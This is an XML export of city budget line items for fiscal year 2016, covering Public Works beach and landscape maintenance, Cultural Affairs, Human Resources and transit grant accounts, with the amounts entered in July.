<row _id="21531"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1894</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1894</total></row>
<row _id="21532"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>119378</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>119378</total></row>
<row _id="21533"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10500</total></row>
<row _id="21534"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>566190.0</object><object_description>EMPLOYEE EVENTS TEAM</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>32728</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>32728</total></row>
<row _id="21535"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21536"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1656</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1656</total></row>
<row _id="21537"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1770</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1770</total></row>
<row _id="21538"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>62535</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>62535</total></row>
<row _id="21539"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4100</total></row>
<row _id="21540"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>650</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>650</total></row>
<row _id="21541"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>533210.0</object><object_description>BLDG OPER / CUSTODIAL SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>117000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>117000</total></row>
<row _id="21542"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>12910</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12910</total></row>
<row _id="21543"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1045</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1045</total></row>
<row _id="21544"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-6690</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-6690</total></row>
<row _id="21545"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-20100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-20100</total></row>
<row _id="21546"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>690</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>690</total></row>
<row _id="21547"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>555030.0</object><object_description>EMPLOYEE MEDICAL EXAMS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1500</total></row>
<row _id="21548"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>32528</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>32528</total></row>
<row _id="21549"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>16838</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>16838</total></row>
<row _id="21550"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>76039</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>76039</total></row>
<row _id="21551"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>46459</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>46459</total></row>
<row _id="21552"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>28000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>28000</total></row>
<row _id="21553"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>544150.0</object><object_description>TREES/SEEDS/PLANTS/FERTILIZER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>105341</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>105341</total></row>
<row _id="21554"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>24670</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>24670</total></row>
<row _id="21555"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>407490.0</object><object_description>PLAN CHECK FEES-LANDSCAPE&amp;FORE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21556"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>PROP A LR TRANS-YOUTH</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>51600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>51600</total></row>
<row _id="21557"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>20840</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20840</total></row>
<row _id="21558"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1322</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1322</total></row>
<row _id="21559"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>106</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>106</total></row>
<row _id="21560"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>125</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>125</total></row>
<row _id="21561"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>68899</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>68899</total></row>
<row _id="21562"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>30</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>30</total></row>
<row _id="21563"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1199</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1199</total></row>
<row _id="21564"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>7637</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7637</total></row>
<row _id="21565"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>12155</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12155</total></row>
<row _id="21566"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>136394</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>136394</total></row>
<row _id="21567"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>25031</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>25031</total></row>
<row _id="21568"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21569"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>331596</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>331596</total></row>
<row _id="21570"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>36000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>36000</total></row>
<row _id="21571"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511681.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21572"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>10016</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10016</total></row>
<row _id="21573"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>12390</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12390</total></row>
<row _id="21574"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511970.0</object><object_description>OTHER FRINGE BENEFITS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21575"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>744</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>744</total></row>
<row _id="21576"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1000</total></row>
<row _id="21577"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-45615</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-45615</total></row>
<row _id="21578"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>567904</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>567904</total></row>
<row _id="21579"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-88494</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-88494</total></row>
